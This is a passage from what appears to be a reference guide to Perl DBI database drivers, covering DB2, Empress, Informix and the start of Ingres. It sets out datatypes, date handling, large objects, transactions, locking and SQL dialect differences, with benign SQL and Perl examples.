DB2 UDB supports the following date, time, and date/time formats:

ISO   (International Standards Organization)
USA   (IBM USA standard)
EUR   (IBM European standard)
JIS   (Japanese Industrial Standard Christian era)
LOC   (site-defined, depends on database country code)

You can input date and date/time values in any supported format. For example:

create table datetest(dt date);
insert into datetest('1991-10-27');
insert into datetest('10/27/1991');

The default output format for DATE, TIME, and TIMESTAMP is that format that is associated with the country code of the database (LOC format above). You can use the CHAR() function and specify an alternate format.

Datetime values can be incremented, decremented, and subtracted. DB2 UDB provides a wide range of date functions including DAY( ), DAYOFWEEK( ), DAYOFYEAR( ), MONTHNAME( ), and TIMESTAMPDIFF( ). See the DB2 UDB documentation for additional functions.

The following SQL expression can be used to convert an integer "seconds since 1-jan-1970" value to the corresponding database date/time (local time not GMT):

TIMESTAMP('1970-01-01','00:00') + seconds_since_epoch

There is no simple expression that will do the reverse. Subtracting timestamp('1970-01-01','00:00') from another timestamp gives a timestamp duration which is a DECIMAL(20,6) value with format yyyymmddhhmmss.zzzzzz.

DB2 does no automatic time zone adjustments.

LONG/BLOB data handling

DB2 UDB supports the following LONG/BLOB datatypes:

BLOB
CLOB
DBCLOB
LONG VARCHAR
LONG VARCHAR FOR BIT DATA
LONG VARGRAPHIC

BLOB (binary large object) is a variable-length string measured in bytes that can be up to 2 GB long. A BLOB is primarily intended to hold non-traditional data such as pictures, voice, and mixed media. BLOBs are not associated with a coded character set (similar to FOR BIT DATA character strings; see below).

CLOB (character large object) is a variable-length string measured in bytes that can be up to 2 GB long. A CLOB is used to store large character-based data.

DBCLOB (double-byte character large object) is a variable-length string of double-byte characters that can be up to 1,073,741,823 characters long. A DBCLOB is used to store large DBCS character based data.

LONG VARCHAR is a variable-length character string that can be up to 32,700 bytes long. LONG VARCHAR FOR BIT DATA is used for data not associated with a coded character set.

LONG VARGRAPHIC is a variable-length string of double-byte characters that can be up to 16,350 characters long.

None of these types need to be passed to and from the database as pairs of hex digits.

Sadly, the DBD::DB2 driver does not yet support the LongReadLen and LongTruncOk attributes. Values of any length can be inserted and fetched up to the maximum size of the corresponding datatype although system resources may be a constraint.

The DBD::DB2 driver is unusual in that it requires heavy use of bind parameter attributes both for ordinary types and for LONG/BLOB types. For example, here's an attribute hash for a CLOB, which will have a maximum length of 100K in this particular application:

$attrib_clob = {
  ParamT => SQL_PARAM_INPUT,
  Ctype  => SQL_C_CHAR,
  Stype  => SQL_CLOB,
  Prec   => 100000
  Scale  => 0,
};

Other data handling issues

The DBD::DB2 driver does not yet support the type_info() method.

DB2 UDB does not automatically convert strings to numbers or numbers to strings.

Transactions, Isolation, and Locking

DB2 UDB supports transactions and four transaction isolation levels: Repeatable Read, Read Stability, Cursor Stability, Uncommited Read. The default transaction isolation level is Cursor Stability.

For the DBD::DB2 driver, the isolation level can be changed by setting the TXNISOLATION keyword in the db2cli.ini file to the desired value. This keyword is set in a database-specific section, meaning that it will affect all applications that connect to that particular database. There is no way to change the isolation level from SQL.

The default behavior for reading and writing is based on the isolation level. Rows returned by a SELECT statement can be explicitly locked by appending FOR UPDATE and a list of field names to the SELECT statement. For example:

SELECT colname1, colname2
FROM tablename
WHERE colname1 = 'testvalue'
FOR UPDATE OF colname1, colname2

The LOCK TABLE table_name IN lock_mode statement can be used to apply an explicit lock on an entire table.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is case-sensitive.

Table join syntax

You can perform an equi-join, or inner join, using the standard WHERE a.field = b.field syntax. You can also use the following syntax:

SELECT tablea.col1, tableb.col1
 FROM tablea INNER JOIN tableb
 ON tableb.name = tablea.name

DB2 UDB supports left outer joins, right outer joins, and full outer joins. For example, to perform a left outer join, you can use the following statement:

SELECT tablea.col1, tablea.col2, tableb.col1, tableb.col2
 FROM tablea LEFT OUTER JOIN tableb
 ON tableb.name = tablea.name

Changing "LEFT" to "RIGHT" or "FULL" gives you the other forms of outer join.

Table and column names

In DB2 UDB Version 5.2, the maximum length of table names and column names is 18. In DB2 UDB Version 6.1, the maximum length of table names will be increased to 128 and the maximum length of column names will be increased to 30.

The first character must be a letter, but the rest can be any combination of uppercase letters, digits, and underscores.

Table and field names can be delimited by double quotes (") and can contain the same characters as described above plus lowercase letters.

Table and column names are stored as uppercase in the catalogs unless delimited. Delimited identifiers preserve the case. Two consecutive quotation marks are used to represent one quotation mark within the delimited identifier.

National characters can be used in table and column names.

Row ID

DB2 UDB does not support a "table row ID" pseudocolumn.

Automatic key or sequence generation

The GENERATE_UNIQUE function can be used to provide unique values (keys) in a table. For example:

CREATE TABLE EMP_UPDATE (
  UNIQUE_ID CHAR(13) FOR BIT DATA,  -- note the "FOR BIT DATA"
  EMPNO CHAR(6),
  TEXT VARCHAR(1000)
)
INSERT INTO EMP_UPDATE VALUES
  (GENERATE_UNIQUE(  ), '000020', 'Update entry...'),
  (GENERATE_UNIQUE(  ), '000050', 'Update entry...')

Sadly, DB2 does not provide any way to discover the most recent value generated by GENERATE_UNIQUE.

DB2 UDB does not support named sequence generators.

Automatic row numbering and row count limiting

There is no pseudocolumn that can be used to sequentially number the rows fetched by a SELECT statement. However, you can number the rows of a result set using the OLAP function ROWNUMBER. For example:

SELECT ROWNUMBER(  ) OVER (order by lastname) AS number, lastname, salary
FROM employee ORDER BY number;

This returns the rows of the employee table with numbers assigned according to the ascending order of last names, ordered by the row numbers.

A cursor can be declared with the FETCH FIRST n ROWS ONLY clause to limit the number of rows returned.

Positioned updates and deletes

DB2 UDB supports positioned updates and deletes. Since specific testing of this functionality has not been done with the DBD::DB2 driver, it's not officially supported; however, no problems are anticipated.

The syntax for a positioned update is as follows. DELETE has a similar syntax.

"UPDATE ... WHERE CURRENT OF $sth->{CursorName}"

Parameter Binding

Parameter binding is directly supported by DB2 UDB. Only the standard ? style of placeholders is supported.

The DBD::DB2 driver does not support the TYPE attribute exactly as described in the DBI documentation. Attribute hashes are used to pass type information to the bind_ param() method. An attribute hash is simply a collection of information about a particular type of data. (See the DBD::DB2 documentation for a list of predefined attribute hashes).

The following is an example of how a complete new attribute hash can be created:

$attrib_char = {
  ParamT => SQL_PARAM_INPUT,
  Ctype  => SQL_C_CHAR,
  Stype  => SQL_CHAR,
  Prec   => 254,
  Scale  => 0,
};

Stored Procedures

Stored procedures are invoked by using the following SQL syntax:

CALL procedure-name(argument, ...)

Table Metadata

DBD::DB2 does not yet support the table_info() method.

The SYSCAT.COLUMNS view contains one row for each column that is defined for all tables and views in the database.

The SYSCAT.INDEXES view contains one row for each index that is defined for all tables in a database. Primary keys are implemented as unique indexes.

Driver-Specific Attributes and Methods

DBD::DB2 has no driver-specific attributes or methods.

DBD::Empress and DBD::EmpressNet

General Information

Driver version

DBD::Empress version 0.51.

Feature summary

Transactions                           Yes
Locking                                Yes, implicit and explicit
Table joins                            Yes, inner and outer
LONG/LOB datatypes                     Yes, up to 2 GB
Statement handle attributes available  After prepare(  )
Placeholders                           Yes, "?" (native)
Stored procedures                      Yes
Bind output values                     No
Table name letter case                 Sensitive, stored as defined
Field name letter case                 Sensitive, stored as defined
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       Yes, "MATCH"
Server table ROW ID pseudocolumn       Yes, "MS_RECORD_NUMBER"
Positioned update/delete               No
Concurrent use of multiple handles     Yes, with some restrictions

Author and contact details

The driver was written by Steve Williams. He can be contacted at swilliam@empress.com.

Supported database versions and options

DBD::Empress supports Empress V6.10 and later. For further information refer to:

http://www.empress.com

These drivers use the same Perl interface but use a different underlying database interface. DBD::Empress is for direct access of databases, while DBD::EmpressNet is for distibuted database connected via the Empress Connectivity Server (referred to in Empress v8.10 and earlier as the Empress ODBC server).

Differences from the DBI specification

There are no significant differences.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, can be one of the following:

dbi:Empress:physical_database
dbi:EmpressNet:logical_database
dbi:EmpressNet:SERVER=server_name;DATABASE=physical_database;PORT=port_number

There are no driver-specific attributes for the DBI->connect() method.

DBD::EmpressNet supports an unlimited number of concurrent database connections to one or more databases.

DBD::Empress also supports multiple concurrent database connections to one or more databases. However, these connections are simulated, and there are therefore a number of limitations. Most of these limitations are associated with transaction processing: 1) AutoCommit must be on or off for all connections; and 2) Switching processing from one database to another automatically commits any transactions on the first database.

Datatypes

Numeric data handling

Empress RDBMS supports the following numeric datatypes:

DECIMAL(p,s)      1 to 15 digits
DOLLAR(p,type)    1 to 13 digits
REAL              Typically 4-byte single precision float
FLOAT(p)          Typically 4 or 8-byte float as required
LONGFLOAT         Typically 8-byte double precision float
SHORTINTEGER             -127 to 127
INTEGER                -32767 to 32767
LONGINTEGER       -2147483647 to 2147483647

The DBD driver supports Empress Generic datatypes only. This means that all data for a specific group will be retrieved as the same datatype. For example, SHORTINTEGER, INTEGER, and LONGINTEGER will all be retrieved as LONGINTEGER.

DBD::Empress always returns all numbers as strings.

String data handling

Empress RDBMS supports the following string datatypes:

CHAR (length, type)
NLSCHAR (length, type)
TEXT (display_length, primary, overflow, extent)
NLSTEXT (display_length, primary, overflow, extent)

All arguments have default values. See Empress SQL Reference (A4) for details. The maximum size for all string types is typically 2**31-1 bytes (2 GB). None of the string types are blank padded.

NLSCHAR and NLSTEXT are can be used for storage of 8-bit and multibyte characters but UTF-8 is not currently supported.

Strings can be concatenated using the s1 CONCAT(s2) SQL function.

Date data handling

Empress RDBMS supports the following date/time datatypes:

DATE(t)            = 0000-01-01 to 9999-12-31 at 1 day resolution
TIME(t)            = 1970-01-01 to 2035-12-31 at 1 second resolution
MICROTIMESTAMP(t)  = 0000-01-01 to 9999-12-31 at 1 microsecond resolution

The (t) is the format type for default output. This is one of the nine types defined in the section on date/time formats.

Empress supports nine formats for date/time types:

Type  Date                Time                         MicroTimestamp
0     yyyymmdd            yyyymmddhhmmss               yyyymmddhhmmssffffff
1     dd aaaaaaaaa yyyy   dd aaaaaaaaa yyyy hh:mm:ss   dd aaaaaaaaa yyyy hh:mm:ss.
                                                       fffff
2     aaaaaaaaa dd, yyyy  aaaaaaaaa dd, yyyy hh:mm:ss  aaaaaaaaa dd, yyyy hh:mm:
                                                       ss.fffff
3     mm/dd/yy            mm/dd/yy hh:mm:ss            mm/dd/yy hh:mm:ss.ffffff
4     dd/mm/yy            dd/mm/yy hh:mm:ss            dd/mm/yy hh:mm:ss.ffffff
5     dd aaa yy           dd aaa yy hh:mm:ss           dd aaa yy hh:mm:ss.ffffff
6     aaa dd, yy          aaa dd, yy hh:mm:ss          aaa dd, yy hh:mm:ss.fffff
7     mm/dd/yyyy          mm/dd/yyyy hh:mm:ss          mm/dd/yyyy hh:mm:ss.ffffff
8     dd/mm/yyyy          dd/mm/yyyy hh:mm:ss          dd/mm/yyyy hh:mm:ss.ffffff

The date part for all types is not optional. If you specify a value without a time component, the default time is 00:00:00 (midnight). If only two digits of the year are input, then the century pivots on the Empress variable MSDATELIMIT. For Empress v8.xx and above, the default for this is 1950. Earlier versions of Empress defaulted to 1900.

Empress accepts any of the nine specified types as input. The only limitation is that you cannot insert a four-digit year into a date type that uses a two-digit format. It always uses MSDATELIMIT for input dates.

For output, DBD::Empress uses just yyyymmddhhmmssffffff and DBD:: EmpressNet uses just yyyy-mm-dd hh:mm:ss.ffffff. Empress does not support changing of the default display formats. It is not possible to format a date/time value in other styles for output. The best approach is to select the components of the date/time, using SQL functions like DAYOF(d) and MONTHOF(d), and format them using Perl.

The current date/time at the server, can be obtained using the NOW or TODAY pseudo constants. NOW returns the current date and time. TODAY returns the date portion only.

Date and time arithmetic can be done using the Empress date/time operators. For example:

NOW + 2 MINUTES + 5 SECONDS
TODAY - 3 DAYS

Empress provides a wide range of date functions including
DAYOF( ), MONTHOF( ),
YEAROF( ), HOUROF( ),
MINUTEOF( ), SECONDOF( ),
WEEKOFYEAR( ), DAYNAME( ),
DAYOFWEEK( ), DAYOFYEAR( ), and
DATENEXT( ).

The following SQL expression:

'1 jan 1970' + unix_time_field SECONDS

would convert to a local time from 1 Jan 1970, but the GMT base cannot be generated directly.

The number of seconds since 1 Jan 1970 for date granularity can be obtained for the local time zone (not GMT) using:

(date_field - '1 jan 1970') * 86400

Empress does no automatic time zone adjustments.

LONG/BLOB data handling

Empress RDBMS supports the following LONG datatypes:

TEXT      Variable length 7-bit character data
NLSTEXT   As TEXT but allows 8-bit characters
BULK      User Interpreted (Byte Stream)

The maximum size for all these types is typically 2**31-1 bytes (2 GB).

LongReadLen works as defined for DBD::EmpressNet but is ignored for DBD:: Empress. The maximum LongReadLen is limited to 2 GB typically. LongTruncOk is not implemented.

No special handling is required for binding LONG/BLOB datatypes. The TYPE attribute is currently not used when binding parameters. The maximum length of bind_ param( ) parameters is limited by the capabilities of the OS or the size of the C int, whichever comes first.

Other data handling issues

The type_info( ) method is not supported.

Empress automatically converts strings to numbers and dates, and numbers and dates to strings, as needed.

Transactions, Isolation, and Locking

DBD::Empress supports transactions. The default isolation level is Serializable.

Other transaction isolation levels are not explicitly supported. However Read Uncommited is supported on a single query basis. This is activated by adding the BYPASS option into each SQL statement.

For example:

SELECT BYPASS * FROM table_name

Record level locking is the default. Read locks do not block other read locks, but read locks block write locks, and write locks block all other locks. Write locks can be bypassed for read using the BYPASS option.

When in transaction mode (AutoCommit off), selected rows are automatically locked against update unless the BYPASS option is used in the SELECT statement.

The LOCK TABLE table_name IN lock_mode statement can be used to apply an explicit lock on a table. Lock mode can be EXCLUSIVE or SHARE. SHARE requires the user to have SELECT or UPDATE privileges on the table. EXCLUSIVE requires the user to have UPDATE, INSERT, or DELETE privileges.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is case-sensitive. The MATCH operator is case-insensitive.

Table join syntax

For outer joins, the Empress keyword OUTER should be placed before the table(s) that should drive the outer join. For example:

SELECT customer_name, order_date
FROM OUTER customers, orders
WHERE customers.cust_id = orders.cust_id;

This returns all the rows in the customer's table that have no matching rows in the orders table. Empress returns NULL for any select list expressions containing columns from the orders table.

Table and Column Names

The names of Empress identifiers, such as tables and columns, cannot exceed 32 characters in length. The first character must be a letter, but the rest can be any combination of letters, numerals, and underscores ( _ ). Empress table/column names are stored as defined. They are case-sensitive.

Empress tables and fields can contain most ASCII characters (except $ and ?) if they are quoted.

Any ISO-Latin characters can be used in the base product. Specific products for other languages, such as Japanese, can handle those character sets.

Row ID

A table row identifier can be referenced as MS_RECORD_NUMBER. It can be treated as a string during fetch; however, it must be treated as an integer when it is used in a WHERE clause. It is useful only for explicit fetch; inequalities are not allowed.

SELECT * FROM table_name WHERE MS_RECORD_NUMBER = ?

Automatic key or sequence generation

Empress has no "auto increment" or "system generated" key mechanism, and does not support sequence generators.

Automatic row numbering and row count limiting

Neither automatic row numbering nor row count limitations are supported.

Positioned updates and deletes

Positioned updates and deletes are not supported.

Parameter Binding

Parameter binding is directly supported by Empress. Only the standard ? style of placeholders is supported.

DBD::Empress recognizes the bind_ param() TYPE attribute SQL_BINARY. All other types are automatically bound correctly without TYPE being used. Unsupported types are ignored without warning.

Stored Procedures

DBD::Empress does not explicitly support stored procedures. Implicit support is available for stored procedures in SQL statements. For example:

$sth->prepare("SELECT func(attribute) FROM table_name");

Table Metadata

DBD::Empress does not support the table_info() method.

The SYS_ATTRS and SYS_TABLES system tables can be used to obtain detailed information about the columns of a table. For example:

SELECT * FROM sys_attrs
WHERE attr_tabnum = (SELECT tab_number FROM sys_tables WHERE tab_name='x')

However, this requires SELECT privileges on these system tables.

Detailed information about indices or keys cannot currently be easily retrieved though DBD::Empress. It is possible, though difficult, to interpret the contents of the system tables to obtain this information.

Driver-Specific Attributes and Methods

DBD::Empress has no significant driver-specific handle attributes or private methods.

DBD::Informix

General Information

Driver version

DBD::Informix version 0.62.

Feature summary

Transactions                           Yes, if enabled when database was created
Locking                                Yes, implicit and explicit
Table joins                            Yes, inner and outer
LONG/LOB datatypes                     Yes, up to 2 GB
Statement handle attributes available  After prepare(  )
Placeholders                           Yes, "?" (native)
Stored procedures                      Yes
Bind output values                     Yes
Table name letter case                 Configurable
Field name letter case                 Configurable
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       No
Server table ROW ID pseudocolumn       Yes, "ROWID"
Positioned update/delete               Yes
Concurrent use of multiple handles     Unrestricted

Author and contact details

The driver author is Jonathan Leffler. He can be contacted via the dbi-users mailing list.

Supported database versions and options

The DBD::Informix module supports Informix OnLine and SE from version 5.00 onwards. There are some restrictions in the support for IUS (a.k.a., IDS/UDO). It uses Informix-ESQL/C (a.k.a., Informix ClientSDK). You must have a development license for Informix-ESQL/C (or the C-code version of Informix-4GL) to be able to compile the DBD::Informix code.

For more information, refer to:

http://www.informix.com

http://www.iiug.org

Differences from the DBI Specification

If you change AutoCommit after preparing a statement, you will probably run into problems that you don't expect. So don't do that.

See the DBD::Informix documentation for more details on this and other assorted subtle compatibility issues.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, has the following form:

dbi:Informix:connect_string

where connect_string is any valid string that can be passed to the Informix CONNECT statement (or to the DATABASE statement for version 5.x systems). The acceptable notations include:

dbase
dbase@server
@server
/path/to/dbase
//machine/path/to/dbase

There are no driver-specific attributes for the DBI->connect() method.

If you're using version 6.00 or later of ESQL/C, then the number of database handles is limited only by your imagination and the computer's physical constraints. If you're using 5.x, you're stuck with one connection at a time.

Datatypes

Numeric data handling

Informix supports these numeric datatypes:

INTEGER           - signed 32-bit integer, excluding -2**31
SERIAL            - synonym for INTEGER as far as scale is concerned
SMALLINT          - signed 16-bit integer, excluding -2**15
FLOAT             - Native C 'double'
SMALLFLOAT        - Native C 'float'
REAL              - Synonym for SMALLFLOAT
DOUBLE PRECISION  - Synonym for FLOAT
DECIMAL(s)        - s-digit floating point number (non-ANSI databases)
DECIMAL(s)        - s-digit integer (MODE ANSI databases)
DECIMAL(s,p)      - s-digit fixed-point number with p decimal places
MONEY(s)          - s-digit fixed-point number with 2 decimal places
MONEY(s,p)        - s-digit fixed-point number with p decimal places
NUMERIC(s)        - synonym for DECIMAL(s)
NUMERIC(s,p)      - synonym for DECIMAL(s,p)
INT8              - signed 64-bit integer, excluding -2**63 (IDS/UDO)
SERIAL8           - synonym for INT8 as far as scale is concerned

DBD::Informix always returns all numbers as strings. Thus the driver puts no restriction on size of PRECISION or SCALE.

String data handling

Informix supports the following string datatypes:

VARCHAR(size)
NVARCHAR(size)
CHAR
CHAR(size)
NCHAR
NCHAR(size)
CHARACTER VARYING(size)
NATIONAL CHARACTER VARYING(size)
NATIONAL CHARACTER(size)
CHARACTER(size)
VARCHAR(size,min)   -- and synonyms for this type
NVARCHAR(size,min)  -- and synonyms for this type
LVARCHAR            -- IDS/UDO only

Arguably, TEXT and BYTE blobs should also be listed here, as they are automatically converted from/to strings.

CHAR types have a limit of 32767 bytes in OnLine and IDS and a slightly smaller value (325xx) for SE. For VARCHAR types, the limit is 255. LVARCHAR columns are limited to 2 KB; when used to transfer other datatypes, up to 32 KB. DBD::Informix 0.61 doesn't have fully operational LVARCHAR support.

The CHAR and NCHAR types are fixed-length and blank-padded.

Handling of national character sets depends on the database version (and is different for versions 5, for versions 6 and 7.1x, and for versions 7.2x and later). Details for version 8.x vary depending on x. It depends on the locale, determined by a wide range of standard (e.g., LANG, LC_COLLATE) and non-standard (e.g., DBNLS, CLIENT_LOCALE) environment variables. For details, read the relevant manual. Unicode is not currently directly supported by Informix (as of 1999-02-28).

Strings can be concatenated using the || operator.

Date data handling

There are two basic date/time handling types: DATE and DATETIME. DATE supports dates in the range 01/01/0001 through 31/12/9999. It is fairly flexible in its input and output formats. Internally, it is represented by the number of days since December 31 1899, so January 1 1900 was day 1. It does not understand the calendric gyrations of 1752, 1582-4, or the early parts of the first millenium, and imposes the calendar as of 1970-01-01 on these earlier times.

DATETIME has to be qualified by two components from the set:

YEAR MONTH DAY HOUR MINUTE SECOND FRACTION FRACTION(n) for n = 1..5

These store a date using ISO 8601 format for the constants. For example, DATE("29/02/2000") is equivalent to:

DATETIME("2000-02-29") YEAR TO DAY,

and The Epoch for POSIX systems can be expressed as:

DATETIME(1970-01-01 00:00:00) YEAR TO SECOND

There is no direct support for time zones.

The default date/time format depends on the environment locale settings and the version and the datatype. The DATETIME types are rigidly ISO 8601 except for converting one-digit or two-digit years to a four-digit equivalent, subject to version and environment.

Handling of two-digit years depends on the version, the bugs fixed, and the environment. In general terms (for current software), if the environment variable DBCENTURY is unset or is set to 'R', then the current century is used. If DBCENTURY is 'F', the date will be in the future; if DBCENTURY is 'P', it will be in the past; if DBCENTURY is 'C', it will be the closest date (50-year window, based on current day, month and year, with the time of day untested).

The current datetime is returned by the CURRENT function, usually qualified as CURRENT YEAR TO SECOND.

Informix provides no simple way to input or output dates and times in other formats. Whole chapters can be written on this subject.

Informix supports a draft version of the SQL2 INTERVAL datatype:

INTERVAL start[(p1)] [TO end[(p2)]]

(Where [] indicates optional parts.)

The following interval qualifications are possible:

YEAR, YEAR TO MONTH,
MONTH,
DAY, DAY TO HOUR, DAY TO MINUTE, DAY TO SECOND,
HOUR, HOUR TO MINUTE, HOUR TO SECOND,
MINUTE, MINUTE TO SECOND,
SECOND, FRACTION

p1 specifies the number of digits specified in the most significant unit of the value, with a maximum of 9 and a default of 2 (except YEAR that defaults to 4). p2 specifies the number of digits in fractional seconds, with a maximum of 5 and a default of 3.

Literal interval values may be specified using the following syntax:

INTERVAL value start[(p1)] [TO end[(p2)]]

For example:

INTERVAL(2) DAY
INTERVAL(02:03) HOUR TO MINUTE
INTERVAL(12345:67.891) MINUTE(5) TO FRACTION(3)

The expression "2 UNITS DAY" is equivalent to the first of these, and similar expressions can be used for any of the basic types.

A full range of operations can be performed on dates and intervals, e.g., datetime-datetime=interval, datetime+interval=datetime, interval/number=interval.

The following SQL expression can be used to convert an integer "seconds since 1-jan-1970 GMT" value to the corresponding database date/time:

DATETIME(1970-01-01 00:00:00) YEAR TO SECOND + seconds_since_epoch UNITS SECOND

There is no simple expression for inline use that will do the reverse. Use a stored procedure; see the comp.databases.informix archives at DejaNews, or the Informix International Users Group (IIUG) web site at http://www.iiug.org.

Informix does not handle multiple time zones in a simple manner.

LONG/BLOB data handling

Informix supports the following large object types:

BYTE  - binary data     max 2 GB
TEXT  - text data       max 2 GB
BLOB  - binary data     max 2 GB (maybe bigger); IDS/UDO only
CLOB  - character data  max 2 GB (maybe bigger); IDS/UDO only

DBD::Informix does not currently have support for BLOB and CLOB datatypes, but does support the BYTE and TEXT types.

The DBI LongReadLen and LongTruncOk attributes are not implemented. If the data selected is a BYTE or TEXT type, then the data is stored in the relevant Perl variable, unconstrained by anything except memory up to a limit of 2 GB.

The maximum length of bind_ param( ) parameter value that can be used to insert BYTE or TEXT data is 2 GB. No specialized treatment is necessary for fetch or insert. UPDATE simply doesn't work.

The bind_ param( ) method doesn't pay attention to the TYPE attribute. Instead, the string presented will be converted automatically to the required type. If it isn't a string type, it needs to be convertible by whichever bit of the system ends up doing the conversion. UPDATE can't be used with these types in DBD::Informix; only version 7.30 IDS provides the data necessary to be able to handle blobs.

Other data handling issues

The type_info( ) method is not supported.

Non-BLOB types can be automatically converted to and from strings most of the time. Informix also supports automatic conversions between pure numeric datatypes whereever it is reasonable. Converting from DATETIME or INTERVAL to numeric datatypes is not automatic.

Transactions, Isolation, and Locking

Informix databases can be created with or without transaction support.

Informix supports several transaction isolation levels: REPEATABLE READ, CURSOR STABILITY, COMMITTED READ, and DIRTY READ. Refer to the Informix documentation for their exact meaning. Isolation levels apply only to ONLINE and IDS and relatives; SE supports only a level somewhere in between COMMITTED READ and DIRTY READ.

The default isolation level depends on the type of database to which you're connected. You can use SET ISOLATION TO level to change the isolation level. If the database is unlogged (that is, it has no transaction support), you can't set the isolation level. In some more recent versions, you can also set a transaction to READ ONLY.

The default locking behavior for reading and writing depends on the isolation level, the way the table was defined, and on whether or not the database was created with transactions enabled.

Rows returned by a SELECT statement can be locked to prevent them being changed by another transaction, by appending FOR UPDATE to the select statement. Optionally, you can specify a column list in parentheses after the FOR UPDATE clause.

The LOCK TABLE table_name IN lock_mode statement can be used to apply an explicit lock on a table. The lock mode can be SHARED or EXCLUSIVE. There are constraints on when tables can be unlocked, and when locks can be applied. Row/page locking occurs with cursors FOR UPDATE. In some types of database, some cursors are implicitly created FOR UPDATE.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is case-sensitive.

Table join syntax

All Informix versions support the basic WHERE a.field = b.field style join notation. Support for SQL-92 join notation depends on DBMS version; most do not.

Outer joins are supported. The basic version is:

SELECT * FROM A, OUTER B WHERE a.col1 = b.col2

All rows from A will be selected. Where there is one or more rows in B matching the row in A according to the join condition, the corresponding rows will be returned. Where there is no matching row in B, NULL will be returned in the B-columns in the SELECT list. There are all sorts of other contortions, such as complications with criteria in the WHERE clause, or nested outer joins.

Table and column names

For most versions, the maximum size of a table name or column name is 18 characters, as required by SQL-86. For the latest versions (Centaur, provisionally 9.2 or 7.4), the answer will be 128, as required by SQL-92. Owner (schema) names can be eight characters in the older versions and 32 in the versions with long table/column names.

The first character must be a letter, but the rest can be any combination of letters, numerals, and underscores ( _ ).

If the DELIMIDENT environment variable is set, then table and column and owner names can be quoted inside double quotes, and any characters become valid. To embed a double quote in the name, use two adjacent double quotes, such as "I said, ""Don't""". (Normally, Informix is very relaxed about treating double quotes and single quotes as equivalent, so often you could write 'I said, "Don''t"' as the equivalent of the previous example. With DELIMIDENT set, you have to be more careful.) Owner names are delimited identifiers and should be embedded in double quotes for maximum safety.

The case-preserving and case-sensitive behavior of table and column names depends on the environment and the quoting mechanisms used.

Support for using national character sets in names depends on the version and the environment (locale).

Row ID

Most tables have a virtual ROWID column which can be selected. Fragmented tables do not have one unless it is specified in the WITH ROWIDS clause when the table is created or altered. In that case, it is a physical ROWID column that otherwise appears as a virtual column (meaning SELECT * does not select it).

As with any type except the BLOB types, a ROWID can be converted to a string and used as such. Note that ROWIDs need not be contiguous, nor start at either zero or one.

Automatic key or sequence generation

The SERIAL and SERIAL8 datatypes are "auto incrementing" keys. If you insert a zero into these columns, the next previously unused key number is unrollbackably allocated to that row. Note that NULL can't be used; you have to insert a zero. If you insert a non-zero value into the column, the specified value is used instead. Usually, there is a unique constraint on the column to prevent duplicate entries.

To get the value just inserted, you can use:

$sth->{ix_sqlerrd}[1]

Informix doesn't support sequence generators directly, but you can create your own with stored procedures.

Automatic row numbering and row count limiting

Informix does not support a way to automatically number returned rows.

Some recent versions of Informix support a FIRST row count limiting directive on SELECT statements:

SELECT FIRST num_of_rows ...

Positioned updates and deletes

Positioned updates and deletes are supported using the WHERE CURRENT OF syntax. For example:

$dbh->do("UPDATE ... WHERE CURRENT OF $sth->{CursorName}");

Parameter Binding

Parameter binding is directly supported by Informix. Only the standard ? style of placeholder is supported.

The TYPE attribute to bind_ param() is not currently supported, but some support is expected in a future release.

Stored Procedures

Some stored procedures can be used as functions in ordinary SQL:

SELECT proc1(Col1) FROM SomeTable WHERE Col2 = proc2(Col3);

All stored procedures can be executed via the SQL EXECUTE PROCEDURE statement. If the procedure returns no values, it can just be executed. If the procedure does return values, even single values via a RETURN statement, then it can be treated like a SELECT statement. So after calling execute() you can fetch results from the statement handle as if a SELECT statement had been executed. For example:

$sth = $dbh->prepare("EXECUTE PROCEDURE CursoryProcedure(?,?)");
$sth->execute(1, 12);
$ref = $sth->fetchall_arrayref();

Table Metadata

The DBI table_info() method isn't currently supported. The private _tables() method can be used to get a list of all tables or a subset.

Details of the columns of a table can be fetched using the private _columns() method.

The keys/indexes of a table can be fetched by querying the system catalog.

Further information about these and other issues can be found via the comp.databases.informix newsgroup, and via the International Informix User Group (IIUG) at http://www.iiug.org.

Driver-Specific Attributes and Methods

Refer to the DBD::Informix documentation for details of driver-specific database and statement handle attributes.

Private _tables() and _columns() methods give easy access to table and column details.

Other Significant Database or Driver Features

Temporary tables can be created during a database session that are automatically dropped at the end of that session if they have not already been dropped explicitly. It's a very handy feature.

The latest versions of Informix (IDS/UDO, IUS) support user-defined routines and user-defined types, which can be implemented in the server in C or (shortly) Java.

The SQL-92 "CASE WHEN" syntax is supported by some versions of the Informix servers. That greatly simplifies some kinds of queries.

DBD::Ingres

General Information

Driver version

DBD::Ingres version 0.16 and, where noted, the 0.20 release

Feature summary

Transactions                           Yes
Locking                                Yes, implicit and explicit
Table joins                            Yes, inner and outer
LONG/LOB datatypes                     Yes, up to 2 GB
Statement handle attributes available  After prepare(  )
Placeholders                           Yes, "?" and ":1" styles (native)
Stored procedures                      Yes
Bind output values                     Yes
Table name letter case                 Insensitive, stored as uppercase
Field name letter case                 Insensitive, stored as uppercase
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       No
Server table ROW ID pseudocolumn       Yes, "tid"
Positioned update/delete               No
Concurrent use of multiple handles     Unrestricted

Author and contact details

The driver author is Henrik Tougaard. He can be contacted via the dbi-users mailing list.

Supported database versions and options

The DBD::Ingres module supports both Ingres 6.4 and OpenIngres (1.x & II). For more information about Ingres, refer to:

http://www.cai.com/products/ingres.htm

Differences from the DBI specification

Prepared statements do not work across transactions because commit/rollback and close/invalidate are all prepared statements. Work is underway to fix this deficiency.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, can be one of the following:

dbi:Ingres:dbname
dbi:Ingres:vnode::dbname
dbi:Ingres:dbname;options

Where options are the SQL option flags as defined in the CA-OpenIngres System Reference Guide.

There are no driver-specific attributes for the DBI->connect() method.

DBD::Ingres supports an unlimited number of concurrent database connections to one or more databases.

Datatypes

Numeric data handling

The database and driver supports one-byte, two-byte and four-byte INTEGERs, four-byte and eight-byte FLOATS, and a currency type. The database and the driver (from version 0.20) supports the DECIMAL-number type.

Type

Description

Range

INTEGER1

1-byte integer

-128 to +127

SMALLINT

2-byte integer

-32,678 to +32,767

INTEGER

4-byte integer

-2,147,483,648 to +2,147,483,647

